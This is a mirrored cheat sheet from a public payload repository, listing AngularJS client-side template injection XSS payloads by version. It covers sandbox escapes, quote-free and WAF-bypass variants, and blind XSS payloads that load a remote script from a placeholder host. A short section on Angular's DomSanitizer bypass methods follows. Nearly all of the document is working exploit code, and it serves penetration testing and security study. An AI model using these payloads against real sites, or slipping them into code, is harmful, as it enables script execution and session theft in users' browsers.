mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-24 05:15:26 +00:00
346 lines
11 KiB
Markdown
346 lines
11 KiB
Markdown
# XSS in Angular and AngularJS
|
|
|
|
## Summary
|
|
|
|
* [Client Side Template Injection](#client-side-template-injection)
|
|
* [Stored/Reflected XSS](#storedreflected-xss)
|
|
* [Advanced Bypassing XSS](#advanced-bypassing-xss)
|
|
* [Blind XSS](#blind-xss)
|
|
* [Automatic Sanitization](#automatic-sanitization)
|
|
* [References](#references)
|
|
|
|
|
|
## Client Side Template Injection
|
|
|
|
The following payloads are based on Client Side Template Injection.
|
|
|
|
### Stored/Reflected XSS
|
|
|
|
`ng-app` directive must be present in a root element to allow the client-side injection (cf. [AngularJS: API: ngApp](https://docs.angularjs.org/api/ng/directive/ngApp)).
|
|
|
|
> AngularJS as of version 1.6 have removed the sandbox altogether
|
|
|
|
AngularJS 1.6+ by [Mario Heiderich](https://twitter.com/cure53berlin)
|
|
|
|
```javascript
|
|
{{constructor.constructor('alert(1)')()}}
|
|
```
|
|
|
|
AngularJS 1.6+ by [@brutelogic](https://twitter.com/brutelogic/status/1031534746084491265)
|
|
|
|
```javascript
|
|
{{[].pop.constructor('alert\u00281\u0029')()}}
|
|
```
|
|
|
|
Example available at [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?a=<brute+ng-app>%7B%7B[].pop.constructor%26%2340%27alert%5Cu00281%5Cu0029%27%26%2341%26%2340%26%2341%7D%7D)
|
|
|
|
AngularJS 1.6.0 by [@LewisArdern](https://twitter.com/LewisArdern/status/1055887619618471938) & [@garethheyes](https://twitter.com/garethheyes/status/1055884215131213830)
|
|
|
|
```javascript
|
|
{{0[a='constructor'][a]('alert(1)')()}}
|
|
{{$eval.constructor('alert(1)')()}}
|
|
{{$on.constructor('alert(1)')()}}
|
|
```
|
|
|
|
AngularJS 1.5.9 - 1.5.11 by [Jan Horn](https://twitter.com/tehjh)
|
|
|
|
```javascript
|
|
{{
|
|
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
|
|
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
|
|
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
|
|
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
|
|
B=C(b,c,b);$evalAsync("
|
|
astNode=pop();astNode.type='UnaryExpression';
|
|
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
|
|
astNode.argument={type:'Identifier',name:'foo'};
|
|
");
|
|
m1=B($$asyncQueue.pop().expression,null,$root);
|
|
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
|
|
$eval('a(b.c)');[].push.apply=a;
|
|
}}
|
|
```
|
|
|
|
AngularJS 1.5.0 - 1.5.8
|
|
|
|
```javascript
|
|
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
|
|
```
|
|
|
|
AngularJS 1.4.0 - 1.4.9
|
|
|
|
```javascript
|
|
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
|
|
```
|
|
|
|
AngularJS 1.3.20
|
|
|
|
```javascript
|
|
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
|
|
```
|
|
|
|
AngularJS 1.3.19
|
|
|
|
```javascript
|
|
{{
|
|
'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
|
|
$eval('x=alert(1)//');
|
|
}}
|
|
```
|
|
|
|
AngularJS 1.3.3 - 1.3.18
|
|
|
|
```javascript
|
|
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
|
|
'a'.constructor.prototype.charAt=[].join;
|
|
$eval('x=alert(1)//'); }}
|
|
```
|
|
|
|
AngularJS 1.3.1 - 1.3.2
|
|
|
|
```javascript
|
|
{{
|
|
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
|
|
'a'.constructor.prototype.charAt=''.valueOf;
|
|
$eval('x=alert(1)//');
|
|
}}
|
|
```
|
|
|
|
AngularJS 1.3.0
|
|
|
|
```javascript
|
|
{{!ready && (ready = true) && (
|
|
!call
|
|
? $$watchers[0].get(toString.constructor.prototype)
|
|
: (a = apply) &&
|
|
(apply = constructor) &&
|
|
(valueOf = call) &&
|
|
(''+''.toString(
|
|
'F = Function.prototype;' +
|
|
'F.apply = F.a;' +
|
|
'delete F.a;' +
|
|
'delete F.valueOf;' +
|
|
'alert(1);'
|
|
))
|
|
);}}
|
|
```
|
|
|
|
AngularJS 1.2.24 - 1.2.29
|
|
|
|
```javascript
|
|
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
|
|
```
|
|
|
|
AngularJS 1.2.19 - 1.2.23
|
|
|
|
```javascript
|
|
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
|
|
```
|
|
|
|
AngularJS 1.2.6 - 1.2.18
|
|
|
|
```javascript
|
|
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
|
|
```
|
|
|
|
AngularJS 1.2.2 - 1.2.5
|
|
|
|
```javascript
|
|
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
|
|
```
|
|
|
|
AngularJS 1.2.0 - 1.2.1
|
|
|
|
```javascript
|
|
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
|
|
```
|
|
|
|
AngularJS 1.0.1 - 1.1.5 and Vue JS
|
|
|
|
```javascript
|
|
{{constructor.constructor('alert(1)')()}}
|
|
```
|
|
|
|
### Advanced Bypassing XSS
|
|
|
|
AngularJS (without `'` single and `"` double quotes) by [@Viren](https://twitter.com/VirenPawar_)
|
|
|
|
```javascript
|
|
{{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}
|
|
```
|
|
|
|
AngularJS (without `'` single and `"` double quotes and `constructor` string)
|
|
|
|
```javascript
|
|
{{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[a].fromCharCode(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}}
|
|
```
|
|
|
|
```javascript
|
|
{{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[a].fromCodePoint(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}}
|
|
```
|
|
|
|
```javascript
|
|
{{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);a.sub.call.call({}[a].getOwnPropertyDescriptor(a.sub.__proto__,a).value,0,toString()[a].fromCharCode(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}}
|
|
```
|
|
|
|
```javascript
|
|
{{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);a.sub.call.call({}[a].getOwnPropertyDescriptor(a.sub.__proto__,a).value,0,toString()[a].fromCodePoint(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}}
|
|
```
|
|
|
|
AngularJS bypass Waf [Imperva]
|
|
|
|
```javascript
|
|
{{x=['constr', 'uctor'];a=x.join('');b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'pr\\u{6f}mpt(d\\u{6f}cument.d\\u{6f}main)')()}}
|
|
```
|
|
|
|
### Blind XSS
|
|
|
|
1.0.1 - 1.1.5 && > 1.6.0 by Mario Heiderich (Cure53)
|
|
|
|
```javascript
|
|
{{
|
|
constructor.constructor("var _ = document.createElement('script');
|
|
_.src='//localhost/m';
|
|
document.getElementsByTagName('body')[0].appendChild(_)")()
|
|
}}
|
|
```
|
|
|
|
|
|
Shorter 1.0.1 - 1.1.5 && > 1.6.0 by Lewis Ardern (Synopsys) and Gareth Heyes (PortSwigger)
|
|
|
|
```javascript
|
|
{{
|
|
$on.constructor("var _ = document.createElement('script');
|
|
_.src='//localhost/m';
|
|
document.getElementsByTagName('body')[0].appendChild(_)")()
|
|
}}
|
|
```
|
|
|
|
1.2.0 - 1.2.5 by Gareth Heyes (PortSwigger)
|
|
|
|
```javascript
|
|
{{
|
|
a="a"["constructor"].prototype;a.charAt=a.trim;
|
|
$eval('a",eval(`var _=document\\x2ecreateElement(\'script\');
|
|
_\\x2esrc=\'//localhost/m\';
|
|
document\\x2ebody\\x2eappendChild(_);`),"')
|
|
}}
|
|
```
|
|
|
|
1.2.6 - 1.2.18 by Jan Horn (Cure53, now works at Google Project Zero)
|
|
|
|
```javascript
|
|
{{
|
|
(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'eval("
|
|
var _ = document.createElement(\'script\');
|
|
_.src=\'//localhost/m\';
|
|
document.getElementsByTagName(\'body\')[0].appendChild(_)")')()
|
|
}}
|
|
```
|
|
|
|
1.2.19 (FireFox) by Mathias Karlsson
|
|
|
|
```javascript
|
|
{{
|
|
toString.constructor.prototype.toString=toString.constructor.prototype.call;
|
|
["a",'eval("var _ = document.createElement(\'script\');
|
|
_.src=\'//localhost/m\';
|
|
document.getElementsByTagName(\'body\')[0].appendChild(_)")'].sort(toString.constructor);
|
|
}}
|
|
```
|
|
|
|
1.2.20 - 1.2.29 by Gareth Heyes (PortSwigger)
|
|
|
|
```javascript
|
|
{{
|
|
a="a"["constructor"].prototype;a.charAt=a.trim;
|
|
$eval('a",eval(`
|
|
var _=document\\x2ecreateElement(\'script\');
|
|
_\\x2esrc=\'//localhost/m\';
|
|
document\\x2ebody\\x2eappendChild(_);`),"')
|
|
}}
|
|
```
|
|
|
|
1.3.0 - 1.3.9 by Gareth Heyes (PortSwigger)
|
|
|
|
```javascript
|
|
{{
|
|
a=toString().constructor.prototype;a.charAt=a.trim;
|
|
$eval('a,eval(`
|
|
var _=document\\x2ecreateElement(\'script\');
|
|
_\\x2esrc=\'//localhost/m\';
|
|
document\\x2ebody\\x2eappendChild(_);`),a')
|
|
}}
|
|
```
|
|
|
|
1.4.0 - 1.5.8 by Gareth Heyes (PortSwigger)
|
|
|
|
```javascript
|
|
{{
|
|
a=toString().constructor.prototype;a.charAt=a.trim;
|
|
$eval('a,eval(`var _=document.createElement(\'script\');
|
|
_.src=\'//localhost/m\';document.body.appendChild(_);`),a')
|
|
}}
|
|
```
|
|
|
|
1.5.9 - 1.5.11 by Jan Horn (Cure53, now works at Google Project Zero)
|
|
|
|
```javascript
|
|
{{
|
|
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.$apply=$apply;
|
|
c.$eval=b;op=$root.$$phase;
|
|
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
|
|
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
|
|
B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,eval(`var _=document.createElement(\\'script\\');_.src=\\'//localhost/m\\';document.body.appendChild(_);`)))+';astNode.argument={type:'Identifier',name:'foo'};");
|
|
m1=B($$asyncQueue.pop().expression,null,$root);
|
|
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
|
|
$eval('a(b.c)');[].push.apply=a;
|
|
}}
|
|
```
|
|
|
|
## Automatic Sanitization
|
|
|
|
> To systematically block XSS bugs, Angular treats all values as untrusted by default. When a value is inserted into the DOM from a template, via property, attribute, style, class binding, or interpolation, Angular sanitizes and escapes untrusted values.
|
|
|
|
However, it is possible to mark a value as trusted and prevent the automatic sanitization with these methods:
|
|
|
|
- bypassSecurityTrustHtml
|
|
- bypassSecurityTrustScript
|
|
- bypassSecurityTrustStyle
|
|
- bypassSecurityTrustUrl
|
|
- bypassSecurityTrustResourceUrl
|
|
|
|
Example of a component using the unsecure method `bypassSecurityTrustUrl`:
|
|
|
|
```js
|
|
import { Component, OnInit } from '@angular/core';
|
|
|
|
@Component({
|
|
selector: 'my-app',
|
|
template: `
|
|
<h4>An untrusted URL:</h4>
|
|
<p><a class="e2e-dangerous-url" [href]="dangerousUrl">Click me</a></p>
|
|
<h4>A trusted URL:</h4>
|
|
<p><a class="e2e-trusted-url" [href]="trustedUrl">Click me</a></p>
|
|
`,
|
|
})
|
|
export class App {
|
|
constructor(private sanitizer: DomSanitizer) {
|
|
this.dangerousUrl = 'javascript:alert("Hi there")';
|
|
this.trustedUrl = sanitizer.bypassSecurityTrustUrl(this.dangerousUrl);
|
|
}
|
|
}
|
|
```
|
|
|
|
|
|
|
|
When doing a code review, you want to make sure that no user input is being trusted since it will introduce a security vulnerability in the application.
|
|
|
|
|
|
## References
|
|
|
|
- [Angular Security - May 16, 2023](https://angular.io/guide/security)
|
|
- [Bidding Like a Billionaire - Stealing NFTs With 4-Char CSTIs - Matan Berson (@MtnBer) - July 11, 2024](https://matanber.com/blog/4-char-csti)
|
|
- [Blind XSS AngularJS Payloads - Lewis Ardern - December 7, 2018](http://web.archive.org/web/20181209041100/https://ardern.io/2018/12/07/angularjs-bxss/)
|
|
- [Bypass DomSanitizer - Swarna (@swarnakishore) - August 11, 2017](https://medium.com/@swarnakishore/angular-safe-pipe-implementation-to-bypass-domsanitizer-stripping-out-content-c1bf0f1cc36b)
|
|
- [XSS without HTML - CSTI with Angular JS - Gareth Heyes (@garethheyes) - January 27, 2016](https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs) |